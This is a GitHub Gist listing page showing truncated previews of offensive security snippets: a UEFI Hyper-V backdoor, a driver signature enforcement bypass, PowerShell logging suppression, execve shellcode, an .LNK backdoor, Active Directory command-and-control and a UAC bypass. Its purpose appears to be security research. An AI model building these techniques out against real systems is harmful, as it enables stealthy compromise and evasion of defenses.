Skip to content

Instantly share code, notes, and snippets.

View SkyN9ne's full-sized avatar
💚

SkyN9ne SkyN9ne

💚
68 followers · 238 following
View GitHub Profile
@Cr4sh
Cr4sh / DmaHvBackdoor.c
Last active May 24, 2025 00:25
Hyper-V backdoor for UEFI
/*
*********************************************************************
Part of UEFI DXE driver code that injects Hyper-V VM exit handler
backdoor into the Device Guard enabled Windows 10 Enterprise.
Execution starts from new_ExitBootServices() -- a hook handler
for EFI_BOOT_SERVICES.ExitBootServices() which being called by
winload!OslFwpKernelSetupPhase1(). After DXE phase exit winload.efi
transfers exeution to previously loaded Hyper-V kernel (hvix64.sys)
@HarmJ0y
HarmJ0y / New-SYSVOLZip.ps1
Created August 8, 2017 01:03
Compresses all of SYSVOL to a local .zip file.
function New-SYSVOLZip {
<#
.SYNOPSIS
Compresses all folders/files in SYSVOL to a .zip file.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
@maldiohead
maldiohead / main.c
Created July 20, 2017 08:05 — forked from hfiref0x/main.c
NtLoadEnclaveData Windows 10 RS3 DSE bypass
#include "global.h"
HINSTANCE g_hInstance;
HANDLE g_ConOut = NULL;
BOOL g_ConsoleOutput = FALSE;
WCHAR g_BE = 0xFEFF;
RTL_OSVERSIONINFOW g_osv;
#define CI_DLL "ci.dll"
@jbsulli
jbsulli / cmd.reg
Created May 16, 2017 02:38
Add "Open with CMD" option to the Windows 10 context menu (both when right-clicking on a folder and in a folder).
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\Background\shell\OpenWithCMD]
@="Open with CMD"
"Icon"="C:\\WINDOWS\\system32\\cmd.exe"
[HKEY_CLASSES_ROOT\Directory\Background\shell\OpenWithCMD\command]
@="cmd.exe /k cd %V"
[HKEY_CLASSES_ROOT\Directory\shell\OpenWithCMD]
@leechristensen
leechristensen / NukePSLogging.cpp
Created March 17, 2017 09:20
Nuke PS Logging
void Payload() {
DWORD threadId;
CreateThread(
NULL, // default security attributes
0, // use default stack size
MyThreadFunction, // thread function name
NULL, // argument to thread function
0, // use default creation flags
&threadId);
}
@mgeeky
mgeeky / execve.c
Created November 17, 2016 16:59
Example of simple execve("/bin/sh", ...) shellcode, embedded in C program.
/*
* Example of simple execve('/bin/sh', ...); shellcode compiled
* and embedded within C program, then compiled on 64-bit with NX bit
* turned off and set executable stack.
*
* Compilation:
* $ gcc -fno-stack-protector -z execstack execve1.c -o execve1c
*/
/*
@HarmJ0y
HarmJ0y / LNKBackdoor.ps1
Created July 4, 2016 20:49
Functions to 'backdoor' .LNK files with additional functionality and enumerate all 'backdoored' .LNKs on a system.
function Set-LNKBackdoor {
<#
.SYNOPSIS
Backdoors an existing .LNK shortcut to trigger the original binary and a payload specified by
-ScriptBlock or -Command.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
@HarmJ0y
HarmJ0y / ADC2.ps1
Last active December 21, 2024 07:23
Command and Control channel through Active Directory Object Properties
#Requires -Version 2
function New-ADPayload {
<#
.SYNOPSIS
Stores PowerShell logic in the mSMQSignCertificates of the specified -TriggerAccount and generates
a one-line launcher.
Author: @harmj0y
@Enegnei
Enegnei / HTTPShame.md
Last active April 7, 2025 22:05
A shame-list of popular websites which have not yet deployed HTTPS certificates

HTTPS vs HTTP

HTTPShame

A shame-list of popular or important websites which have not yet deployed HTTPS certificates by default.

Sites which may involve the transmission of very sensitive data, such as health or banking information, are marked with an ❗ to signal they should deploy HTTPS-by-default as soon as possible. If you are a popular website (such as those on the Alexa Top 500 Global Sites) which finds itself on this list - and you want to be removed - you can visit Let's Encrypt about transitioning to HTTPS. It's easy, free, and will help you learn how to protect your customers/ readers!

List now outdated, removed until further notice.

Q: What is HTTPS?

@Cr4sh
Cr4sh / uac_bypass.c
Created April 9, 2016 10:17
void TestCopy()
{
BOOL cond = FALSE;
IFileOperation *FileOperation1 = NULL;
IShellItem *isrc = NULL, *idst = NULL;
BIND_OPTS3 bop;
SHELLEXECUTEINFOW shexec;
HRESULT r;
do {